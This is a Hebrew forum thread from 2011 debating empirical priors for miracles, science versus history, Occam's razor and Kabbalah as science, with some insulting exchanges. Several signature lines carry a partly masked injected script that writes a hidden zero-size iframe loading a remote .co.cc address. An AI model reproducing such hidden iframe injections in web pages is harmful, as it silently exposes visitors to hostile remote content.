|
|
| נשלח ב-31/10/2011 07:57 |
 |
| |
בינתיים הוסיף כותב האשכול את הדבר הבא:
"הדבר היחידי שכתבת נגד הטיעון שאל התגלה הוא ש'זה התרחש פעם אחת בהיסטוריה'. נכון, זה בודאי מפתיע, ונוגע גם להנחת היסוד של המדיינים בנוגע קיום אלהים או אי קיומו. אבל לא סותר שום דבר. בשאלה מדעית אין משמעות להגיון, מדובר אך ורק על עובדות, כל האפשרויות הפיזיות קיימות ושוות ערך, ולכן צריכים לשלול אותן באופן ישיר. בשאלה היסטורית יש מקום להגיון, מה שמתקבל על דעת אנשים הוא מה שיותר הגיוני שהתרחש, והוא הדעה האנושית."
גם אם משנים את הניסוחים, מדובר בדיוק באותו הכשל הלוגי. השאלה אם סביר שים נבקע מעצמו, והשאלה האם סביר שקבוצת אנשים קטנה קיבלה עבור קבוצת אנשים תיאור מוגזם של המאורעות - שתיהן שאלות מדעיות, ולשניהם יש פריור אמפירי (שמציאתו אכן עשויה להיות קשה טכנית). החלוקה השרירותית ל"מדע", בו אין משמעות להגיון (כך במקור!), ול"הסטוריה", בה יש משמעות להגיון - היא שרירותית לחלוטין. בנוסף, האמירה ש"כל האפשרויות הפיזיות קיימות ושוות ערך" - היא אוולת, שכן לחלקן יש פריור אמפירי גדול מאחרים (הפריור האמפירי לכך שאדם עבר דרך קיר ממש כרוח רפאים הוא נמוך מאד, לדוגמה).
ברור שבעזרת חלוקות שרירותיות כאלה, אפשר לקחת כל טענה בעולם ולטעון שהיא הוכחה. בנוסף, הפסקה מנוסחת בצורה מטעה (אולי בטעות):
- אינטואיטיבית, ברור לכולנו שיש הבדל בין מדע הפיזיקה להיסטוריה. אבל ההבדל איננו זה שהכותב מדבר עליו, אלא הפוך: הפריורים האמפיריים בפיזיקה חזקים בסדרי גודל מאלה של היסטוריה. זה אכן אומר שטענה לכלל פיזיקלי חדש ע"י טענה לתיעוד חד פעמי ע"י קבוצת אנשים היא אכן חלשה מאד.
- בניגוד לדברי הכותב, השאלה כלל איננה קשורה להנחת יסוד בדבר קיום אלהים או לא. לאחר בריאת העולם, אין שום התפלגות אמפירית להתערבות ה' מחוץ לסיפורי המקרא. כשבאים לדון בסיפורי המקרא עצמם, הדבר הנכון לעשות הוא להגיד שמדובר בתופעה שמעולם לא נצפתה. חשוב גם להבהיר שאין קשר בין אמונה בה' לבין הטענה הלוגית שהתגלותו לא הוכחה.
תוקן על ידי xibolaiyu ב- 31/10/2011 08:24:30
 |
|
|
|
|
| נשלח ב-31/10/2011 16:39 |
|
| |
על תגובתי הקודמת,
ענה דינו
את הדבר הבא (באדום):
הבעיה שהכל כאן שגוי. אין שאלה 'אם סביר שים נבקע מעצמו', אין כאן שום מקום לסבירות, במדע אין שאלה 'האם סביר', אלא 'האם ידוע לנו', או לחילופין 'האם ידוע לנו שלא'. במקרה ויש אפשרות אחת מתוך מליון שים לא נבקע, לא ידוע לנו, אבל הסטטיסטיקה מצביעה שהוא כן נבקע. זה לא אומר שזה מה שהיה. בכל אופן אין שום שימוש ל'סבירות' במקרה שאנו לא יודעים משהו על העולם. זו טענה שאין לה שום קשר למציאות, ומעבר לכך היא מבטלת (שוב) את כל טענת הכותב: - בודאי שסבירות קיימת במקרה שאנו לא יודעים משהו על העולם, ולא רק זאת, זה בדיוק המקרה בו שייך לדבר על סבירות. המדע מטפל בכך המון. כשהפיזיקאי פיינמן חקר מדוע נשרפה מעבורת החלל ב85, הוא חקר האם הסבירות להצפדות אטמי הגומי גבוהה מההסתברות לכשל תוכנה. מאז שדווח לפני מספר שבועות שבצרן נרשמה מדידה חריגה במהירות חלקיקים, פיזיקאים עסוקים בשאלה מה ההסבר הסביר לכך. הדבר אינו מוגבל רק לשאלות אד הוק, יש תחומים שלמים שעוסקים בכך: גיאולוגיה, פלנאטולוגיה, וקוסמולוגיה. מדענים עסוקים בשאלה מה ההסבר הסביר לכך שיש שכבה דקה של אירידיום לאורך כל כדור הארץ (מטאור פגע בו), ומה ההסבר הסביר לכך שבשכבות שונות רואים מאובנים עם מגנטיות שונה (השדה המגנטי של כדוה"א מתחלף מדי מיליוני שנים). בקיצור, מופרך לחלוטין - אין קשר למציאות.
- אם אין שום שימוש ל"סבירות" במקרה שלא ידוע משהו על העולם, הרי הדבר נכון ליציאת מצריים. ממילא דינו חוזר למגרש 3, בו אי אפשר לטעון מה סביר ממה, והכל שרירותי באותה מידה.
השאלה אם סביר שקבוצת אנשים קיבלה תיאור מסויים, אינה שאלה מדעית, ל'מדע' יש קריטריונים ברורים, ההיסטוריה או הסוציולוגיה הם מדעי הרוח, ולא עונים לשום קריטריון של המונח 'מדע'. הם תחומים שמסורים להגיון, להיכרות שלנו את הטבע האנושי, ענין בלתי מדעי בעליל. ובשאלה כזו שופט ההגיון, ברור שההגיון אינו אמת אבסולוטית, אבל הוא מה שבני האדם חושבים לנכון, וגם מי שיכריז אחרת ויאמר 'יש לי כך וכך מניח את הדעת' לא יאמר את האמת, כל עוד ההגיון אומר אחרת.
- אם מגדירים הסבר היסטורי הגיוני כמשהו שמתאים לפריור האמפירי שלנו לגבי בני אדם - המצב מצויין. כעת יש רק לשקול עד כמה חזק הפריור האמפירי הזה, שכן אנו מסיקים אותו כמעט תמיד בעקיפין, ולהשוות אותו לפריור האמפירי של ההסבר האלטרנטיבי, שאותו נותנת הפיזיקה.
- אם מגדירים "הגיון" כמשהו אחר לגמרי, שוב קפצנו למגרש משחקים 3. מה הקריטריון להגיון? שההסבר ירוק יותר? שהוא משולש יותר? אין שום קריטריון אובייקטיווי אחר.
תוקן על ידי xibolaiyu ב- 31/10/2011 16:42:29
|
|
|
|
|
| נשלח ב-31/10/2011 17:51 |
|
| |
| thepresent כתב: |  | אתם באמת לא מבדילים בין סיבה לתוצאה?
מי זה 'אתם' ולמה ירמזון מיליך? |
|
לשותף וקצת גם לרב המימוני
|
|
|
|
|
| נשלח ב-2/11/2011 07:57 |
|
| |
שותף
כתבת:
אם הסכמנו שאפשר לקחת כל מערכת הנחות ראשונית ולהתרחב ממנה על כל התצפיות, אז מה כל הטענות שלך אם אני אעשה זאת מתוך מערכת ההנחות של הקבלה דווקא ?
סליחה על העיכוב בתשובה.
הרעיון שלך, שוב, מצויין. יוסף דן ניסה לטעון במאמר על קבלת האר"י שהיא אכן עונה על קריטריונים בפילוסופיה של המדע. (אבל כמדומה שזה חלק חלש - יחידי - במחקרים שלו).
אמנם, אם רצונך להציג את קבלת האר"י, למשל, כתיאוריה מדעית כללית, זה אפשרי אבל אז עליך להעמיד את הניסוח בתנאי יסוד.
לציין מה הם מונחי היסוד. יש כאלו כמובן וניסית להציג אותם באשכולות שונים (איקון ירוק על זה). אבל שים לב שצריך להגדיר אותם ולנקותם מתוספות מיותרות. מיותר הוא כל מה שאינו דרוש לבנית התיאוריה. לא חשבתי על זה מספיק כדי לתת הגדרה טובה, אבל כיון שאיני רוצה לעכב עוד אני מציע איפיון כזה: רק מה שהכרחי לתיאוריה חייב להישאר. תכונות שאינן כאלו אין להן מקום. להשוואה, בפיזיקה החלקיקים הם בעלי מסה כלשהי, אנרגיה כלשהי, מטען חשמלי כלשהו, מיקום כלשהו ומהירות כלשהי ואולי גם כיוון תנועה ידוע. (תורת הקוואנטים היא אנטי מדעית במובן הקלאסי מפני שהיא שללה שלחלקיק יהיו גם מיקום ידוע וגם, נדמה לי, מהירות ידועה, אבל כבר כתבתי שאיני פיזיקאי).
נקרא לזה "גישה מינימליסטית" שמרחיקה כל תיאור מיותר. (השאלה איזה צבע וטמפרטורה יש לאלקטרון אינה משמעותית כמו השאלה "מה הצבע של התפוז" וזה גם מוסבר על פי תיאוריות פיזיקליות שצבע הוא החזרה של אור וטמפרטורה היא בסך הכל מהירות תנועה של אטומים).
וזה תנאי הכרחי אבל לא מספיק. כלומר, צריך שגם כללי ההיסק, והחוקים שמתארים את ההתפתחויות האפשריות והצפויות, יהיו מינימליסטיים.
אז צריך להכין רשימה של המאפיינים של תיאוריה מדעית, שכתבתי רק את חלקם, וכמובן יש להוסיף (אולי חברינו שמתמצאים יותר יעשו זאת), ואז ליישם זאת על הנחות היסוד הקבליות.
אעיר שראיתי ספר מד"ב מעניין שבו ניסתה המחברת לתאר יקומים שמתנהלים לפי פרמטרים שאינם מקובלים, עדיין, במדע, שהם הדין והחסד. בעולם שלנו יש מיזוג שמוכר לנו אבל איננו חושבים עליו בתור שכזה. החוקרים מגיעים באופן כלשהו לעולמות מקבילים, שבאחד מהם יש יותר חסד ובשני יש יותר דין. זה כמובן רק סיפור אבל זה גם ניסוי מחשבתי מעניין. רציתי בשעתו לפתוח על זה אשכול ויתכן שזה עדיף כי יצאנו מענין האשכול הנוכחי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-2/11/2011 08:00 |
|
| |
אני רואה ששיבולאיו מייחד את האשכול לדיונים סביב ויכוח עם דינו באשכול אחר. אז אני ממש מבקש להמשיך את הדיון באשכול ייחודי לקבלה כמדע והתנאים לכך.
לאלי. ס. לא הבנתי את טענתך כלפי אבל אם היא נכללת במה שדנתי בו כאן עם שותף, אז מקומה באשכול מיוחד לזה ולא לגנוב את המקום לשיבולאיו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/11/2011 08:40 |
|
| |
| מיימוני כתב: | | | מיותר הוא כל מה שאינו דרוש לבנית התיאוריה. לא חשבתי על זה מספיק כדי לתת הגדרה טובה, אבל כיון שאיני רוצה לעכב עוד אני מציע איפיון כזה: רק מה שהכרחי לתיאוריה חייב להישאר. תכונות שאינן כאלו אין להן מקום.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
שלום מיימוני,
מעניין שאתה אומר זאת, משום שלהבנתי זה קרוב מאד להגדרה המדוייקת של גרסתו המקורית של תערו של אוקאם.
עם זאת, חשוב לדעתי להדגיש את ההבדל (ואינני רומז שאתה סובר אחרת):
- תערו של אוקאם הוא עיקרון פילוסופי. במציאות לרוב קשה להגדיר במדוייק איזו תיאוריה פשוטה מהשניה (או איזו תיאוריה כוללת פחות דברים מיותרים מהשניה). יש בינתיים מעט מאד מיקרים שבהם העקרון הבשיל למשפט מוכח.
- הכשל המתואר באשכול (הכנסת הסברים ללא פריור אמפירי) מוביל לבעיה פרקטית מיידית, שכן אימוצו מעקר את היכולת לדרג איזו תיאוריה סבירה יותר מהשניה, והריהו סוף המדע והחשיבה הרציונאלית בכלל.
|
|
|
|
| נשלח ב-2/11/2011 08:42 |
|
| |
| מיימוני כתב: | | אני רואה ששיבולאיו מייחד את האשכול לדיונים סביב ויכוח עם דינו באשכול אחר. אז אני ממש מבקש להמשיך את הדיון באשכול ייחודי לקבלה כמדע והתנאים לכך.
לאלי. ס. לא הבנתי את טענתך כלפי אבל אם היא נכללת במה שדנתי בו כאן עם שותף, אז מקומה באשכול מיוחד לזה ולא לגנוב את המקום לשיבולאיו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
תודה, אבל לי אין בעיה עם זה. כך דרכם של אשכולות בעצכ"ח. (עם זאת, כלכל אחד אחר, גם לי יש ההדגשים המעניינים אותי.)
|
|
|
|
| נשלח ב-2/11/2011 11:08 |
|
| |
מיימוני,
לא ראיתי את תגובתך לפני שכתבתי את תגובתי באשכול של "תכלית החיים".
נראה לי ששם המקום והזמן לדון בסוגיה.
אם תרצה ואם יהיה לך זמן....
|
|
|
|
| נשלח ב-3/11/2011 09:02 |
|
| |
התייחסותו הראשונה של דינו לבעייתיות היתה: "לא טענתי ש'יש פטור מלבחון את סבירותה' אלא שאין לנו שום מידע ושום סבירות בנוגע לשאלה האם האל התערב בטבע. סבירות צריכה להתבסס על משהו. וכאן אין לנו מידע או טיעון או סיבה לחשוב שזה קורה או לא קורה, כל מה שצריך הוא לברר, אם יש באפשרותינו." -------------------------------------------------------------- היות שזו פשוט נקודת המוצא של מה שאשכול זה דן בו (ולא תשובה לו), לא נותר לי אלא לציין זאת: הסברתי בצורה פשוטה מאד את הכשל הלוגי בטענה זו בהודעה הראשונה של מגרשי המשחקים של הווכוחים. אינני רואה התייחסותך (כאן או במקום אחר), ולכן אחזור. אם במהלך בירור איזה משני מאורעות סביר יותר להסבר העבר, עולה הטענה שלאחד מהם אין פריור אמפירי (וזה מה שאתה אומר כאן למעשה), הרי יש כאן דילוג לdomain בו קל מאד להראות שאין יחס סדר בין כל הסבר אפשרי (הן הכוללים ישויות על טבעיות והן כאלה שאינם), וכולם שרירותיים באותה מידה. הניסיון לברר את הפריור האמפירי של ההסבר האלטרנטיבי (שכנוע קבוצת אנשים) חסר משמעות, וכל כולו הוא הולכת שולל (אולי שלך בשוגג) כאילו שמתבצע כאן תהליך רציונאלי כלשהו שמוצא את ההסבר הסביר ביותר. שוב, כדי לנמק את טיעונך באשכול זה, עליך להשוות בין הסבירויות של אירועים שיש להם פריור אמפירי. אתה מוזמן לענות באשכול שם. אם אתה מעדיף, אני אעתיק את תשובתך לשם.
|
|
|
|
|
| נשלח ב-4/11/2011 10:42 |
|
| |
כדרכו, דינו הבלתי-נלאה לא התייאש לחזור על אותו הכשל שוב פעם, בלא שום התייחסות (וכנראה הבנה) לנאמר:
--------------------------------------------------------------------------------------------------
דינו:
השימוש המרובה בשורש 'כשל' על הטיותיו על ידי סוג מסויים של תועמלנים לא מחזק את דבריהם, וייתכן שגם אצלך כך. אני טוען שאין לנו שום ידע הגיוני או לא הגיוני לגבי השאלה האם חוקי הטבע תקפים תמיד, ומה שיקבע כאן הוא תצפית. כמו בכל מקרה של חוסר ידע. הפרשנות של הגורם להפרת חוקי הטבע היא ענין נפרד לגמרי מהמסקנה שהיתה כאן הפרה, ואינה תלויה בו. אדם יכול לקבל את התצפית, ולפרש אותה כהבנתו.
------------------------------------------------------------------------------------------------
מדוע יש טעם להביא את הדברים שוב באשכול? הרי שוב פעם (בפעם המי יודע כמה), אין בדבריו שום התייחסות להודעה הראשונה של האשכול. בשלב זה, אכן נראה לי שהבנת הכשל הגיעה למיצוי, ומדובר לכל היותר בפיליטון קומי, מחקר אנתרופולוגי על שבט המחב"תים הדבילי, או משהו דומה. עכ"פ, תשובתי להלן. היא (על כרחי) פשוט ניסוח של נקודת המוצא של אשכול זה.
------------------------------------------------------------------------------------------------
אתה כותב וכותב, אבל לא מתייחס למהות, ואני מתחיל להשתכנע שפשוט אינך מסוגל להבין אותה.
שוב: האמירה "אין לנו שום ידע הגיוני או לא הגיוני לגבי השאלה האם חוקי הטבע תקפים תמיד, ומה שיקבע כאן הוא התצפית", מעקרת מכל תוכן את כל מה שכתבת באשכול הדבילי הזה, והיא בנוסף מופרכת פנימית (לגבי "מה שיקבע").
זכותך המלאה לחשוב שאין סיבה שחוקי הטבע יהיו תקפים תמיד. אבל אם כך, זה נכון גם לחוקי הטבע הנוגעים לכך שקבוצת אנשים תשתכנע במשהו (זו איננה תופעת טבע? זה סה"כ אוסף סינפסות). בזה ייתרת לגמרי את כל האמירות שלך באשכול: אין טעם להגדיר מהו "שקר", "מופת במה", שאר הקשקושים, והדיון הרציני בצורה תהומית לגבי תכונותיה האקוסטיות של סוכת משה. הכל ממילא נתון לשינוי שרירותי.
שוב: אם אין לנו שום ידע הגיוני האם החוקים תקפים תמיד, אז כל מה שאתה אומר הוא אמירה שרירותית: לדעתי אתמול הייתי במכולת, אנגליה נצחה בקרב טרפלגר, וקבוצת אנשים התקיימה על מזון על טבעי במדבר. זהו. אמירה שרירותית שאין אפשרות לנמק אותה לשיטתך, ולא צריך לה אשכול. מישהו אחר יכתוב: לדעתי אתמול הייתי קיסר הודו, ונמלה אדומה שלחה את בנ"י לגלות בבל, ויש לה בדיוק אותו תוקף כמו לשלך לשיטתך.
אגב, אם אין סיבה הגיונית לחשוב שחוקי הטבע תקפים, אין שום טעם לערוך תצפיות. זו אמירה מטומטמת מספיק כדי שאפילו אתה תוכל להבין את הכשל שבה (אם לא תצליח, אמור לי ואגלה לך).
נ.ב. השימוש ב"תועמלנים" ע"י כשלונרים אינו מחזק את דבריהם, בפרט אצל כשלונר כמוך.
|
|
|
|
|
|
